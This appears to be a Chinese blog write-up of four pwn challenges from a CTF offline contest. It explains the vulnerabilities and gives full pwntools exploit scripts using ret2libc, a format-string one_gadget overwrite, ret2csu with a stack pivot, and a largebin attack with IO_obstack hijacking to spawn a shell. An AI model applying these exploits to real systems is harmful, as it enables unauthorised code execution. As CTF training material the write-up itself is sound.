第八届御网杯线下赛Pwn方向题解
由于最近比赛有点多,而且赶上招新,导致原本应该及时总结的比赛搁置了,总结来说还是得多练,因为时间很短像这种线下赛,一般只有几个小时,所以思路一定要清晰,我还是经验太少了,导致比赛力不从心,先鸽了~
Skill
checksec 检查保护(没有开PIE和Canary)

ida逆向分析一下
不同的选项对应不同的功能

漏洞存在show函数里面,当满足情况时候就会执行gets实现溢出

那么在add的时候使情况满足,然后ret2libc即可
EXP:
from gt import *
con("amd64")
#io = process("./skill")
io = remote("3.1.26.5","9999")
skills = 0x6020E0
libc = ELF("/home/su/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def add(skill):
io.sendlineafter("exit",'1')
io.sendlineafter("skill:",skill)
def dell():
io.sendlineafter("exit",'2')
def list():
io.sendlineafter("exit",'3')
def start():
io.sendlineafter("exit",'4')
payload = b"song" +b"\x00"*16 +b"jump"
payload +=b"\x00"*16+ b"rap" +b"\x00"*17+b"NBA"
add(payload)
#io.recvuntil("exit")
#io.sendlineafter("5.",'1')
pop_rdi =0x0000000000400c83#: pop rdi; ret;
puts_plt = 0x400710
puts_got = 0x602020
start()
payload = b'a'*0x18 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4008B6)
#gdb.attach(io)
io.recvuntil("music~")
io.sendline(payload)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))
start()
payload= b'a'*0x18 + p64(pop_rdi+1) + p64(pop_rdi)+ p64(binsh) + p64(system) + p64(0x400B61)
#io.sendline(payload)
#io.sendline(payload)
io.recvuntil("music~")
io.sendline(payload)
io.interactive()
wir
这个题目我记不清了大概是这个缩写
保护策略(无PIE,Canary)

程序存在溢出

而且存在后门

但是比赛的时候没有用到

因为这里存在格式化字符串漏洞而且是通过main函数返回的,因此可以直接修改返回地址为gadget
EXP:
from pwn import *
con("amd64")
#io = process("./pwn1")
io = remote("3.1.26.8","9999")
libc = ELF("./libc.so.6")
#libcc =ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil("name")
#gdb.attach(io)
io.send("%3$p")
io.recv(1)
libc_base = int(io.recv(14),16) - 18 - libc.sym["read"]
suc("libc_base",libc_base)
one = libc_base +0x1075aa
#suc("one",one)
one1 = one & 0xffffffff
io.recvuntil("out")
payload = p64(0x404038)+b'a'*0x8+ p64(0x404038) + p32(one1)#+ p64(0x40121B)
#gdb.attach(io)
io.send(payload)
##io.recvuntil("")
#pause()
#io.send(p64(one))
io.interactive()
calc
保护策略(无PIE,Canary)

程序上来有一个随机数绕过

可以通过00截断绕过
然后进入漏洞函数,溢出长度我们可以自己输入
但是不能使用libc里面的地址

但是可以通过ret2csu来实现函数调用一个read,然后再次读入数据栈迁移,getshell
EXP:
from gt import *
con("amd64")
#io = process("./calc")
libc = ELF("./libc-2.31.so")
i = 0
while 1:
io = process("./calc")
io.sendlineafter("name: ","admin\x00")
io.recvuntil("password: \n")
#sleep(0.1)
io.send(b"\x00"*0x10)
msg = io.recv(11)
msg = msg.decode("utf-8")
if "Wrong" not in msg:
break
else:
print("------->",i)
i = i+1
io.close()
continue
pop_rdi = 0x00000000004015c3 #: pop rdi ; ret
puts_plt = 0x4010D0
puts_got = 0x404018
pop_rbp = 0x000000000040123d #: pop rbp ; ret
bss = 0x4040A0 + 0x800
length = str(35+8-1)
csu1 = 0x4015BA
csu2 = 0x4015A0
#gdb.attach(io)
io.sendline(length)
for i in range(17):
io.sendline(str(200))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(str(19))
io.recvuntil(":")
io.sendline(str(0xdeadbeef))
#gdb.attach(io)
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(pop_rdi))
io.recvuntil(":")
io.sendline(str(puts_got))
io.recvuntil(":")
io.sendline(str(puts_plt))
io.recvuntil(":")
io.sendline(str(csu1))
io.recvuntil(":")
io.sendline(str(0))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(0))
io.recvuntil(":")
io.sendline(str(bss))
io.recvuntil(":")
io.sendline(str(0x200))
io.recvuntil(":")
io.sendline(str(0x404038))
io.recvuntil(":")
io.sendline(str(csu2))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(pop_rbp))
io.recvuntil(":")
io.sendline(str(bss-8))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(0x401559))
#gdb.attach(io)
io.recvuntil("\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
suc("libc_base",libc_base)
pause()
gdb.attach(io)
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))
payload = p64(pop_rdi)+ p64(binsh) + p64(system)
io.send(payload)
io.interactive()
Gift
保护策略(全开)

程序使用的c++的std::cin和std::cout,所以看起来比较抽象
程序把add能申请的范围划分了3种,0x7f-0x14f ,0x14f-0x24f 0x24f-0x4ff
而且程序存在UAF

因此泄露地址什么的比较容易
程序还有一个限制

当这个地址里面的值大于等于这个值才行,这个值其实是一开始申请的堆块

可以通过largebin attack错位来使条件满足实现IO通过exit函数返回,进而劫持程序执行流,这里使用的是obstack,当然别的IO_house也可以,因为没有开启沙箱,所以劫持程序流可以直接getshell
EXP:
from gt import *
con("amd64")
io = process("./gift")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add1(size):
io.sendlineafter(">> ","1")
io.sendlineafter("3. Gf3~","1")
io.sendlineafter(" Gf1:",str(size))
def add2(size):
io.sendlineafter(">> ","1")
io.sendlineafter("3. Gf3~","2")
io.sendlineafter(" Gf2:",str(size))
def add3(size):
io.sendlineafter(">> ","1")
io.sendlineafter("3. Gf3~","3")
io.sendlineafter(" Gf3:",str(size))
def free(index):
io.sendlineafter(">> ","2")
io.sendlineafter("someone:",str(index))
def show(index):
io.sendlineafter(">> ","3")
io.sendlineafter("gift:",str(index))
def edit(index,msg):
io.sendlineafter(">> ","4")
io.sendlineafter("gift:",str(index))
io.sendlineafter(":",msg)
add3(0x420)
add3(0x420)
free(0)
show(0)
#gdb.attach(io)
io.recvuntil("content:")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -96 - 0x10 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
list_all = libc_base + libc.sym["_IO_list_all"]
stdout = libc_base + libc.sym["stdout"]
suc("stdout",stdout)
add1(0x80) #2
add1(0x80) #3
free(2)
free(3)
show(3)
io.recvuntil("content:")
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x11ed0
suc("heap_base",heap_base)
add3(0x300) #4
add3(0x440) #5
add3(0x430) #6
add3(0x430) #7
free(5)
add3(0x450) #8
free(7)
binsh = libc_base + next(libc.search("/bin/sh"))
_IO_obstack_jumps = libc_base + 0x1e9260#libc.sym["_IO_obstack_jumps"]
suc("_IO_obstack_jumps",_IO_obstack_jumps)
fake_io_addr = heap_base + 0x12fb0
payload = flat(
{
0x8:1,
0x10:0,
0x18:1,
0x20:0,
0x28:system,
0x38:binsh,
0x40:1,
0xc8:_IO_obstack_jumps+0x20,
0xd0:fake_io_addr,
},
filler = '\x00'
)
edit(5,p64(fake_io_addr)*3+p64(list_all-0x20))#+ 0x1ed708-0x20))
add3(0x460) #9
edit(7,payload)
add3(0x490) #10
add3(0x480) #11
add3(0x480) #12
free(10)
add3(0x4a0) #13
free(12)
chunk = heap_base + 0x11ea0+0x10
suc("chunk",chunk)
#gdb.attach(io)
#pause()
edit(10,p64(heap_base+0x145f0)*2+p64(0x1ecff0+libc_base)+p64(chunk-0x20+1))
#gdb.attach(io)
#pause()
add3(0x4a0) #14
gdb.attach(io)
pause()
io.sendlineafter(">> ","6")
io.interactive()
后续一些比赛的PWN的附件我会放在一个github的一个新建的库,如果有需要可以随机下载
https://github.com/CH13hh/CH13hh.github.io
第八届御网杯线下赛Pwn方向题解的更多相关文章
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- 2021江西省赛线下赛赛后总结(Crypto)
2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)
目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...
- 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)
目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...
- 某团队线下赛AWD writeup&Beescms_V4.0代码审计
还是跟上篇一样.拿别人比赛的来玩一下. 0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...
- 某线下赛AWD
拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...
- ogeek线下赛web分析1-python-web
1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...
随机推荐
- 图片热区。vue3+ts和vue3+js写法(js没写完数据,功能完善)
废话不多说,上代码 vue3+ts <!-- 热区组件 --> <template> <el-dialog v-model="dialog_visible&qu ...
- Sentry 开源版与商业 SaaS 版的区别
您会在官方的文档中找到大量对 sentry 和 getsentry 的引用.两者都是 Django 应用程序,但 sentry 是开源的, getsentry 是闭源的.里面有什么? https:// ...
- 同一块石头搬到了两次的List<Map> 转List<dto>的问题
不多比比 it is shame to talking about this List<Map<String, Object>> maps = reader.readAll() ...
- AtCoder Beginner Contest 312
AtCoder Beginner Contest 312 A - Chord (atcoder.jp) #include <bits/stdc++.h> #define endl '\n' ...
- 新一代监控神器Prometheus+Grafana介绍及使用
一.介绍 1.什么是Prometheus? 普罗米修斯是一个开源的系统监控及报警工具,在2016年加入了 Cloud Native Computing Foundation,是继Kubernetes之 ...
- Java并非锁之独占非公平锁理解
Java锁系列教程之独占式锁 在Java并发编程中,锁是一个很重要的对象.Java中锁有两种:隐式锁和显式锁.使用synchronized关键字的锁是隐式锁.因为锁的申请和释放都是由JVM来维护的,不 ...
- spark 先groupby 再从每个group里面选top n
import spark.implicits._ val simpleData = Seq(("James","Sales","NY",90 ...
- ChatGPT 教我写一个基于python程序开发的网络设备巡检功能
这几天被ChatGPT玩坏了,为什么说是被玩呢,这东西真的太强大了,我现在用的还是版本3就专业溜了,现在已经有版本4了,详细一些人工智能真的还快就会取代一大批只会CV程序员,所以你有什么理由不学习呢. ...
- logistic和softmax
一直觉得logistic regression就是softmax的一种特殊的形式,softmax是多类,logistic是两类. 但是今天仔细想了想logistic的意义以及softmax的意义,感觉 ...
- Angular – Language Service
介绍 Angular Language Service 是一个针对 Angular 项目的程序静态分析 (Program Static Analysis) 工具,它的作用是提升开发体验. 很多 IDE ...